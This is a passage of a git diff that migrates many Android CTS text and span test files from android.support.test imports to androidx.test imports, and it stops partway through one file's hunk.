diff --git a/tests/tests/text/src/android/text/method/cts/NumberKeyListenerTest.java b/tests/tests/text/src/android/text/method/cts/NumberKeyListenerTest.java
index c4a7944..2455e3f 100644
--- a/tests/tests/text/src/android/text/method/cts/NumberKeyListenerTest.java
+++ b/tests/tests/text/src/android/text/method/cts/NumberKeyListenerTest.java
@@ -22,8 +22,6 @@
 import static org.junit.Assert.assertTrue;
 import static org.junit.Assert.fail;
 
-import android.support.test.filters.MediumTest;
-import android.support.test.runner.AndroidJUnit4;
 import android.text.Selection;
 import android.text.Spannable;
 import android.text.SpannableString;
@@ -32,6 +30,9 @@
 import android.view.KeyEvent;
 import android.widget.TextView.BufferType;
 
+import androidx.test.filters.MediumTest;
+import androidx.test.runner.AndroidJUnit4;
+
 import com.android.compatibility.common.util.CtsKeyEventUtil;
 
 import org.junit.Test;
diff --git a/tests/tests/text/src/android/text/method/cts/PasswordTransformationMethodTest.java b/tests/tests/text/src/android/text/method/cts/PasswordTransformationMethodTest.java
index bb4ffb6..22315dd 100644
--- a/tests/tests/text/src/android/text/method/cts/PasswordTransformationMethodTest.java
+++ b/tests/tests/text/src/android/text/method/cts/PasswordTransformationMethodTest.java
@@ -33,10 +33,6 @@
 import android.os.ParcelFileDescriptor;
 import android.provider.Settings.SettingNotFoundException;
 import android.provider.Settings.System;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.filters.MediumTest;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
 import android.text.method.PasswordTransformationMethod;
 import android.util.TypedValue;
 import android.view.KeyCharacterMap;
@@ -45,6 +41,11 @@
 import android.widget.LinearLayout;
 import android.widget.LinearLayout.LayoutParams;
 
+import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.MediumTest;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
+
 import com.android.compatibility.common.util.CtsKeyEventUtil;
 import com.android.compatibility.common.util.PollingCheck;
 
diff --git a/tests/tests/text/src/android/text/method/cts/QwertyKeyListenerTest.java b/tests/tests/text/src/android/text/method/cts/QwertyKeyListenerTest.java
index c527257..9fe16ec 100644
--- a/tests/tests/text/src/android/text/method/cts/QwertyKeyListenerTest.java
+++ b/tests/tests/text/src/android/text/method/cts/QwertyKeyListenerTest.java
@@ -21,8 +21,6 @@
 import static org.junit.Assert.assertNotSame;
 import static org.junit.Assert.assertSame;
 
-import android.support.test.filters.MediumTest;
-import android.support.test.runner.AndroidJUnit4;
 import android.text.InputType;
 import android.text.Selection;
 import android.text.Spannable;
@@ -32,6 +30,9 @@
 import android.view.KeyEvent;
 import android.widget.TextView.BufferType;
 
+import androidx.test.filters.MediumTest;
+import androidx.test.runner.AndroidJUnit4;
+
 import org.junit.After;
 import org.junit.Before;
 import org.junit.Test;
diff --git a/tests/tests/text/src/android/text/method/cts/ReplacementTransformationMethodTest.java b/tests/tests/text/src/android/text/method/cts/ReplacementTransformationMethodTest.java
index e75271e..d82bbf7 100644
--- a/tests/tests/text/src/android/text/method/cts/ReplacementTransformationMethodTest.java
+++ b/tests/tests/text/src/android/text/method/cts/ReplacementTransformationMethodTest.java
@@ -19,14 +19,15 @@
 import static org.junit.Assert.assertEquals;
 import static org.junit.Assert.fail;
 
-import android.support.test.annotation.UiThreadTest;
-import android.support.test.filters.MediumTest;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
 import android.text.method.ReplacementTransformationMethod;
 import android.util.TypedValue;
 import android.widget.EditText;
 
+import androidx.test.annotation.UiThreadTest;
+import androidx.test.filters.MediumTest;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
+
 import org.junit.Before;
 import org.junit.Rule;
 import org.junit.Test;
diff --git a/tests/tests/text/src/android/text/method/cts/ScrollingMovementMethodTest.java b/tests/tests/text/src/android/text/method/cts/ScrollingMovementMethodTest.java
index 32c6e5e..e19dfe8 100644
--- a/tests/tests/text/src/android/text/method/cts/ScrollingMovementMethodTest.java
+++ b/tests/tests/text/src/android/text/method/cts/ScrollingMovementMethodTest.java
@@ -26,11 +26,6 @@
 import android.app.Activity;
 import android.app.Instrumentation;
 import android.os.SystemClock;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.annotation.UiThreadTest;
-import android.support.test.filters.MediumTest;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
 import android.text.Layout;
 import android.text.Spannable;
 import android.text.SpannableString;
@@ -46,6 +41,12 @@
 import android.widget.TextView;
 import android.widget.TextView.BufferType;
 
+import androidx.test.InstrumentationRegistry;
+import androidx.test.annotation.UiThreadTest;
+import androidx.test.filters.MediumTest;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
+
 import com.android.compatibility.common.util.WidgetTestUtils;
 
 import org.junit.Before;
diff --git a/tests/tests/text/src/android/text/method/cts/SingleLineTransformationMethodTest.java b/tests/tests/text/src/android/text/method/cts/SingleLineTransformationMethodTest.java
index ad622d0..a48df12 100644
--- a/tests/tests/text/src/android/text/method/cts/SingleLineTransformationMethodTest.java
+++ b/tests/tests/text/src/android/text/method/cts/SingleLineTransformationMethodTest.java
@@ -21,10 +21,6 @@
 import static org.junit.Assert.assertNotNull;
 import static org.junit.Assert.assertSame;
 
-import android.support.test.InstrumentationRegistry;
-import android.support.test.annotation.UiThreadTest;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
 import android.text.Layout;
 import android.text.SpannableString;
 import android.text.Spanned;
@@ -33,6 +29,11 @@
 import android.util.TypedValue;
 import android.widget.EditText;
 
+import androidx.test.InstrumentationRegistry;
+import androidx.test.annotation.UiThreadTest;
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
diff --git a/tests/tests/text/src/android/text/method/cts/TextKeyListenerTest.java b/tests/tests/text/src/android/text/method/cts/TextKeyListenerTest.java
index 7851ded..989a1bc 100644
--- a/tests/tests/text/src/android/text/method/cts/TextKeyListenerTest.java
+++ b/tests/tests/text/src/android/text/method/cts/TextKeyListenerTest.java
@@ -31,8 +31,6 @@
 import static org.mockito.Mockito.verify;
 
 import android.os.SystemClock;
-import android.support.test.filters.MediumTest;
-import android.support.test.runner.AndroidJUnit4;
 import android.test.UiThreadTest;
 import android.text.Editable;
 import android.text.InputType;
@@ -45,6 +43,9 @@
 import android.view.KeyEvent;
 import android.widget.TextView.BufferType;
 
+import androidx.test.filters.MediumTest;
+import androidx.test.runner.AndroidJUnit4;
+
 import com.android.compatibility.common.util.CtsKeyEventUtil;
 
 import org.junit.Test;
diff --git a/tests/tests/text/src/android/text/method/cts/TimeKeyListenerTest.java b/tests/tests/text/src/android/text/method/cts/TimeKeyListenerTest.java
index a887a19..f5e097f 100644
--- a/tests/tests/text/src/android/text/method/cts/TimeKeyListenerTest.java
+++ b/tests/tests/text/src/android/text/method/cts/TimeKeyListenerTest.java
@@ -22,13 +22,14 @@
 import static org.junit.Assert.assertNotSame;
 import static org.junit.Assert.assertSame;
 
-import android.support.test.filters.MediumTest;
-import android.support.test.runner.AndroidJUnit4;
 import android.text.InputType;
 import android.text.method.TimeKeyListener;
 import android.view.KeyCharacterMap;
 import android.view.KeyEvent;
 
+import androidx.test.filters.MediumTest;
+import androidx.test.runner.AndroidJUnit4;
+
 import com.android.compatibility.common.util.CtsKeyEventUtil;
 
 import org.junit.Test;
diff --git a/tests/tests/text/src/android/text/method/cts/TouchTest.java b/tests/tests/text/src/android/text/method/cts/TouchTest.java
index 140dfa02..fd078fb 100644
--- a/tests/tests/text/src/android/text/method/cts/TouchTest.java
+++ b/tests/tests/text/src/android/text/method/cts/TouchTest.java
@@ -22,11 +22,6 @@
 import android.app.Activity;
 import android.app.Instrumentation;
 import android.os.SystemClock;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.annotation.UiThreadTest;
-import android.support.test.filters.MediumTest;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
 import android.text.Layout;
 import android.text.SpannableString;
 import android.text.TextPaint;
@@ -37,6 +32,12 @@
 import android.view.ViewGroup;
 import android.widget.TextView;
 
+import androidx.test.InstrumentationRegistry;
+import androidx.test.annotation.UiThreadTest;
+import androidx.test.filters.MediumTest;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
+
 import org.junit.Before;
 import org.junit.Rule;
 import org.junit.Test;
diff --git a/tests/tests/text/src/android/text/method/cts/TransformationMethodTest.java b/tests/tests/text/src/android/text/method/cts/TransformationMethodTest.java
index d67fc59..3fd1448 100644
--- a/tests/tests/text/src/android/text/method/cts/TransformationMethodTest.java
+++ b/tests/tests/text/src/android/text/method/cts/TransformationMethodTest.java
@@ -29,16 +29,17 @@
 import static org.mockito.Mockito.when;
 
 import android.app.Instrumentation;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.filters.MediumTest;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
 import android.text.method.TransformationMethod;
 import android.widget.Button;
 import android.widget.EditText;
 import android.widget.LinearLayout;
 import android.widget.LinearLayout.LayoutParams;
 
+import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.MediumTest;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
+
 import com.android.compatibility.common.util.PollingCheck;
 
 import org.junit.Before;
diff --git a/tests/tests/text/src/android/text/style/cts/AbsoluteSizeSpanTest.java b/tests/tests/text/src/android/text/style/cts/AbsoluteSizeSpanTest.java
index ac04619..a221ae9 100644
--- a/tests/tests/text/src/android/text/style/cts/AbsoluteSizeSpanTest.java
+++ b/tests/tests/text/src/android/text/style/cts/AbsoluteSizeSpanTest.java
@@ -20,11 +20,12 @@
 import static org.junit.Assert.assertTrue;
 
 import android.os.Parcel;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
 import android.text.TextPaint;
 import android.text.style.AbsoluteSizeSpan;
 
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
diff --git a/tests/tests/text/src/android/text/style/cts/AlignmentSpan_StandardTest.java b/tests/tests/text/src/android/text/style/cts/AlignmentSpan_StandardTest.java
index 78bcd6a..6cdbc27 100644
--- a/tests/tests/text/src/android/text/style/cts/AlignmentSpan_StandardTest.java
+++ b/tests/tests/text/src/android/text/style/cts/AlignmentSpan_StandardTest.java
@@ -19,11 +19,12 @@
 import static org.junit.Assert.assertEquals;
 
 import android.os.Parcel;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
 import android.text.Layout.Alignment;
 import android.text.style.AlignmentSpan.Standard;
 
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
diff --git a/tests/tests/text/src/android/text/style/cts/BackgroundColorSpanTest.java b/tests/tests/text/src/android/text/style/cts/BackgroundColorSpanTest.java
index 2724dfe..31ad04e 100644
--- a/tests/tests/text/src/android/text/style/cts/BackgroundColorSpanTest.java
+++ b/tests/tests/text/src/android/text/style/cts/BackgroundColorSpanTest.java
@@ -20,11 +20,12 @@
 
 import android.graphics.Color;
 import android.os.Parcel;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
 import android.text.TextPaint;
 import android.text.style.BackgroundColorSpan;
 
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
diff --git a/tests/tests/text/src/android/text/style/cts/BulletSpanTest.java b/tests/tests/text/src/android/text/style/cts/BulletSpanTest.java
index b6f7eed..bba3161 100644
--- a/tests/tests/text/src/android/text/style/cts/BulletSpanTest.java
+++ b/tests/tests/text/src/android/text/style/cts/BulletSpanTest.java
@@ -23,12 +23,13 @@
 import android.graphics.Color;
 import android.graphics.Paint;
 import android.os.Parcel;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
 import android.text.Html;
 import android.text.Spanned;
 import android.text.style.BulletSpan;
 
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
diff --git a/tests/tests/text/src/android/text/style/cts/CharacterStyleTest.java b/tests/tests/text/src/android/text/style/cts/CharacterStyleTest.java
index 791f362..98679ee 100644
--- a/tests/tests/text/src/android/text/style/cts/CharacterStyleTest.java
+++ b/tests/tests/text/src/android/text/style/cts/CharacterStyleTest.java
@@ -21,13 +21,14 @@
 import static org.junit.Assert.assertSame;
 import static org.junit.Assert.assertTrue;
 
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
 import android.text.TextPaint;
 import android.text.style.CharacterStyle;
 import android.text.style.MetricAffectingSpan;
 import android.text.style.SuperscriptSpan;
 
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
diff --git a/tests/tests/text/src/android/text/style/cts/ClickableSpanTest.java b/tests/tests/text/src/android/text/style/cts/ClickableSpanTest.java
index a00a28d..1b62a30 100644
--- a/tests/tests/text/src/android/text/style/cts/ClickableSpanTest.java
+++ b/tests/tests/text/src/android/text/style/cts/ClickableSpanTest.java
@@ -21,12 +21,13 @@
 import static org.junit.Assert.assertTrue;
 
 import android.graphics.Color;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
 import android.text.TextPaint;
 import android.text.style.ClickableSpan;
 import android.view.View;
 
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
diff --git a/tests/tests/text/src/android/text/style/cts/DrawableMarginSpanTest.java b/tests/tests/text/src/android/text/style/cts/DrawableMarginSpanTest.java
index 4ccf3bd..e690996 100644
--- a/tests/tests/text/src/android/text/style/cts/DrawableMarginSpanTest.java
+++ b/tests/tests/text/src/android/text/style/cts/DrawableMarginSpanTest.java
@@ -23,9 +23,6 @@
 import android.graphics.Canvas;
 import android.graphics.Paint.FontMetricsInt;
 import android.graphics.drawable.Drawable;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
 import android.text.Html;
 import android.text.Layout;
 import android.text.Spanned;
@@ -34,6 +31,10 @@
 import android.text.cts.R;
 import android.text.style.DrawableMarginSpan;
 
+import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
 import org.junit.Before;
 import org.junit.Test;
 import org.junit.runner.RunWith;
diff --git a/tests/tests/text/src/android/text/style/cts/DynamicDrawableSpanTest.java b/tests/tests/text/src/android/text/style/cts/DynamicDrawableSpanTest.java
index 5ad529b..ef32e44 100644
--- a/tests/tests/text/src/android/text/style/cts/DynamicDrawableSpanTest.java
+++ b/tests/tests/text/src/android/text/style/cts/DynamicDrawableSpanTest.java
@@ -22,12 +22,13 @@
 import android.graphics.Paint.FontMetricsInt;
 import android.graphics.Rect;
 import android.graphics.drawable.Drawable;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
 import android.text.cts.R;
 import android.text.style.DynamicDrawableSpan;
 
+import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
diff --git a/tests/tests/text/src/android/text/style/cts/EasyEditSpanTest.java b/tests/tests/text/src/android/text/style/cts/EasyEditSpanTest.java
index 831ce09..6d59b6e 100644
--- a/tests/tests/text/src/android/text/style/cts/EasyEditSpanTest.java
+++ b/tests/tests/text/src/android/text/style/cts/EasyEditSpanTest.java
@@ -19,11 +19,12 @@
 import android.app.PendingIntent;
 import android.content.Intent;
 import android.os.Parcel;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
 import android.text.style.EasyEditSpan;
 
+import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
diff --git a/tests/tests/text/src/android/text/style/cts/ForegroundColorSpanTest.java b/tests/tests/text/src/android/text/style/cts/ForegroundColorSpanTest.java
index a259065..3e2c757 100644
--- a/tests/tests/text/src/android/text/style/cts/ForegroundColorSpanTest.java
+++ b/tests/tests/text/src/android/text/style/cts/ForegroundColorSpanTest.java
@@ -20,11 +20,12 @@
 
 import android.graphics.Color;
 import android.os.Parcel;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
 import android.text.TextPaint;
 import android.text.style.ForegroundColorSpan;
 
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
diff --git a/tests/tests/text/src/android/text/style/cts/IconMarginSpanTest.java b/tests/tests/text/src/android/text/style/cts/IconMarginSpanTest.java
index 3ee2564..babaaef 100644
--- a/tests/tests/text/src/android/text/style/cts/IconMarginSpanTest.java
+++ b/tests/tests/text/src/android/text/style/cts/IconMarginSpanTest.java
@@ -22,8 +22,6 @@
 import android.graphics.Bitmap;
 import android.graphics.Canvas;
 import android.graphics.Paint.FontMetricsInt;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
 import android.text.Html;
 import android.text.Layout;
 import android.text.Spanned;
@@ -31,6 +29,9 @@
 import android.text.TextPaint;
 import android.text.style.IconMarginSpan;
 
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
diff --git a/tests/tests/text/src/android/text/style/cts/ImageSpanTest.java b/tests/tests/text/src/android/text/style/cts/ImageSpanTest.java
index 130593b..2908ba8 100644
--- a/tests/tests/text/src/android/text/style/cts/ImageSpanTest.java
+++ b/tests/tests/text/src/android/text/style/cts/ImageSpanTest.java
@@ -25,13 +25,14 @@
 import android.graphics.drawable.BitmapDrawable;
 import android.graphics.drawable.Drawable;
 import android.net.Uri;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
 import android.text.cts.R;
 import android.text.style.DynamicDrawableSpan;
 import android.text.style.ImageSpan;
 
+import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
 import com.android.compatibility.common.util.WidgetTestUtils;
 
 import org.junit.Before;
diff --git a/tests/tests/text/src/android/text/style/cts/LeadingMarginSpan_StandardTest.java b/tests/tests/text/src/android/text/style/cts/LeadingMarginSpan_StandardTest.java
index 6679caf..7f4b259 100644
--- a/tests/tests/text/src/android/text/style/cts/LeadingMarginSpan_StandardTest.java
+++ b/tests/tests/text/src/android/text/style/cts/LeadingMarginSpan_StandardTest.java
@@ -19,11 +19,12 @@
 import static org.junit.Assert.assertEquals;
 
 import android.os.Parcel;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
 import android.text.style.LeadingMarginSpan;
 import android.text.style.LeadingMarginSpan.Standard;
 
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
diff --git a/tests/tests/text/src/android/text/style/cts/LocaleSpanTest.java b/tests/tests/text/src/android/text/style/cts/LocaleSpanTest.java
index 5aa13af..2144094 100644
--- a/tests/tests/text/src/android/text/style/cts/LocaleSpanTest.java
+++ b/tests/tests/text/src/android/text/style/cts/LocaleSpanTest.java
@@ -20,12 +20,13 @@
 
 import android.os.LocaleList;
 import android.os.Parcel;
-import androidx.annotation.NonNull;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
 import android.text.TextPaint;
 import android.text.style.LocaleSpan;
 
+import androidx.annotation.NonNull;
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
diff --git a/tests/tests/text/src/android/text/style/cts/MaskFilterSpanTest.java b/tests/tests/text/src/android/text/style/cts/MaskFilterSpanTest.java
index 7b9f3d9..d713375 100644
--- a/tests/tests/text/src/android/text/style/cts/MaskFilterSpanTest.java
+++ b/tests/tests/text/src/android/text/style/cts/MaskFilterSpanTest.java
@@ -20,11 +20,12 @@
 import static org.junit.Assert.assertSame;
 
 import android.graphics.MaskFilter;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
 import android.text.TextPaint;
 import android.text.style.MaskFilterSpan;
 
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
diff --git a/tests/tests/text/src/android/text/style/cts/MetricAffectingSpanTest.java b/tests/tests/text/src/android/text/style/cts/MetricAffectingSpanTest.java
index cb8850e..8ea6c1a 100644
--- a/tests/tests/text/src/android/text/style/cts/MetricAffectingSpanTest.java
+++ b/tests/tests/text/src/android/text/style/cts/MetricAffectingSpanTest.java
@@ -20,13 +20,14 @@
 import static org.junit.Assert.assertSame;
 import static org.junit.Assert.assertTrue;
 
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
 import android.text.TextPaint;
 import android.text.style.CharacterStyle;
 import android.text.style.MetricAffectingSpan;
 import android.text.style.SuperscriptSpan;
 
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
diff --git a/tests/tests/text/src/android/text/style/cts/QuoteSpanTest.java b/tests/tests/text/src/android/text/style/cts/QuoteSpanTest.java
index 109cafc..de2ff68 100644
--- a/tests/tests/text/src/android/text/style/cts/QuoteSpanTest.java
+++ b/tests/tests/text/src/android/text/style/cts/QuoteSpanTest.java
@@ -23,10 +23,11 @@
 import android.graphics.Color;
 import android.graphics.Paint;
 import android.os.Parcel;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
 import android.text.style.QuoteSpan;
 
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
diff --git a/tests/tests/text/src/android/text/style/cts/RelativeSizeSpanTest.java b/tests/tests/text/src/android/text/style/cts/RelativeSizeSpanTest.java
index 3cac62e..f95539c 100644
--- a/tests/tests/text/src/android/text/style/cts/RelativeSizeSpanTest.java
+++ b/tests/tests/text/src/android/text/style/cts/RelativeSizeSpanTest.java
@@ -19,11 +19,12 @@
 import static org.junit.Assert.assertEquals;
 
 import android.os.Parcel;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
 import android.text.TextPaint;
 import android.text.style.RelativeSizeSpan;
 
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
diff --git a/tests/tests/text/src/android/text/style/cts/ReplacementSpanTest.java b/tests/tests/text/src/android/text/style/cts/ReplacementSpanTest.java
index 514e22b..7dca324 100644
--- a/tests/tests/text/src/android/text/style/cts/ReplacementSpanTest.java
+++ b/tests/tests/text/src/android/text/style/cts/ReplacementSpanTest.java
@@ -19,10 +19,11 @@
 import android.graphics.Canvas;
 import android.graphics.Paint;
 import android.graphics.Paint.FontMetricsInt;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
 import android.text.style.ReplacementSpan;
 
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
diff --git a/tests/tests/text/src/android/text/style/cts/ScaleXSpanTest.java b/tests/tests/text/src/android/text/style/cts/ScaleXSpanTest.java
index d243ef6..8a36a52 100644
--- a/tests/tests/text/src/android/text/style/cts/ScaleXSpanTest.java
+++ b/tests/tests/text/src/android/text/style/cts/ScaleXSpanTest.java
@@ -19,11 +19,12 @@
 import static org.junit.Assert.assertEquals;
 
 import android.os.Parcel;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
 import android.text.TextPaint;
 import android.text.style.ScaleXSpan;
 
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
diff --git a/tests/tests/text/src/android/text/style/cts/StrikethroughSpanTest.java b/tests/tests/text/src/android/text/style/cts/StrikethroughSpanTest.java
index 125b773..23e787d 100644
--- a/tests/tests/text/src/android/text/style/cts/StrikethroughSpanTest.java
+++ b/tests/tests/text/src/android/text/style/cts/StrikethroughSpanTest.java
@@ -21,14 +21,15 @@
 import static org.junit.Assert.assertTrue;
 
 import android.os.Parcel;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
 import android.text.SpannableString;
 import android.text.Spanned;
 import android.text.StaticLayout;
 import android.text.TextPaint;
 import android.text.style.StrikethroughSpan;
 
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
diff --git a/tests/tests/text/src/android/text/style/cts/StyleSpanTest.java b/tests/tests/text/src/android/text/style/cts/StyleSpanTest.java
index 4b4fc7e..723fa27 100644
--- a/tests/tests/text/src/android/text/style/cts/StyleSpanTest.java
+++ b/tests/tests/text/src/android/text/style/cts/StyleSpanTest.java
@@ -21,11 +21,12 @@
 
 import android.graphics.Typeface;
 import android.os.Parcel;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
 import android.text.TextPaint;
 import android.text.style.StyleSpan;
 
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
diff --git a/tests/tests/text/src/android/text/style/cts/SubscriptSpanTest.java b/tests/tests/text/src/android/text/style/cts/SubscriptSpanTest.java
index 000be8d..75cab87 100644
--- a/tests/tests/text/src/android/text/style/cts/SubscriptSpanTest.java
+++ b/tests/tests/text/src/android/text/style/cts/SubscriptSpanTest.java
@@ -20,11 +20,12 @@
 import static org.junit.Assert.assertEquals;
 
 import android.os.Parcel;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
 import android.text.TextPaint;
 import android.text.style.SubscriptSpan;
 
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
diff --git a/tests/tests/text/src/android/text/style/cts/SuggestionSpanTest.java b/tests/tests/text/src/android/text/style/cts/SuggestionSpanTest.java
index 4e20ca6..d34b948 100644
--- a/tests/tests/text/src/android/text/style/cts/SuggestionSpanTest.java
+++ b/tests/tests/text/src/android/text/style/cts/SuggestionSpanTest.java
@@ -25,17 +25,18 @@
 import android.content.res.Configuration;
 import android.os.LocaleList;
 import android.os.Parcel;
-import androidx.annotation.NonNull;
-import androidx.annotation.Nullable;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
 import android.text.SpannableString;
 import android.text.Spanned;
 import android.text.StaticLayout;
 import android.text.TextPaint;
 import android.text.style.SuggestionSpan;
 
+import androidx.annotation.NonNull;
+import androidx.annotation.Nullable;
+import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
diff --git a/tests/tests/text/src/android/text/style/cts/SuperscriptSpanTest.java b/tests/tests/text/src/android/text/style/cts/SuperscriptSpanTest.java
index 68fa8c8..ffc7413 100644
--- a/tests/tests/text/src/android/text/style/cts/SuperscriptSpanTest.java
+++ b/tests/tests/text/src/android/text/style/cts/SuperscriptSpanTest.java
@@ -19,11 +19,12 @@
 import static org.junit.Assert.assertEquals;
 
 import android.os.Parcel;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
 import android.text.TextPaint;
 import android.text.style.SuperscriptSpan;
 
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
diff --git a/tests/tests/text/src/android/text/style/cts/TabStopSpan_StandardTest.java b/tests/tests/text/src/android/text/style/cts/TabStopSpan_StandardTest.java
index 34c487e..a32c391 100644
--- a/tests/tests/text/src/android/text/style/cts/TabStopSpan_StandardTest.java
+++ b/tests/tests/text/src/android/text/style/cts/TabStopSpan_StandardTest.java
@@ -18,11 +18,12 @@
 
 import static org.junit.Assert.assertEquals;
 
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
 import android.text.style.TabStopSpan;
 import android.text.style.TabStopSpan.Standard;
 
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
diff --git a/tests/tests/text/src/android/text/style/cts/TextAppearanceSpanTest.java b/tests/tests/text/src/android/text/style/cts/TextAppearanceSpanTest.java
index 489edb2..ffdc22e 100644
--- a/tests/tests/text/src/android/text/style/cts/TextAppearanceSpanTest.java
+++ b/tests/tests/text/src/android/text/style/cts/TextAppearanceSpanTest.java
@@ -26,12 +26,13 @@
 import android.content.res.ColorStateList;
 import android.graphics.Color;
 import android.os.Parcel;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.filters.SmallTest;
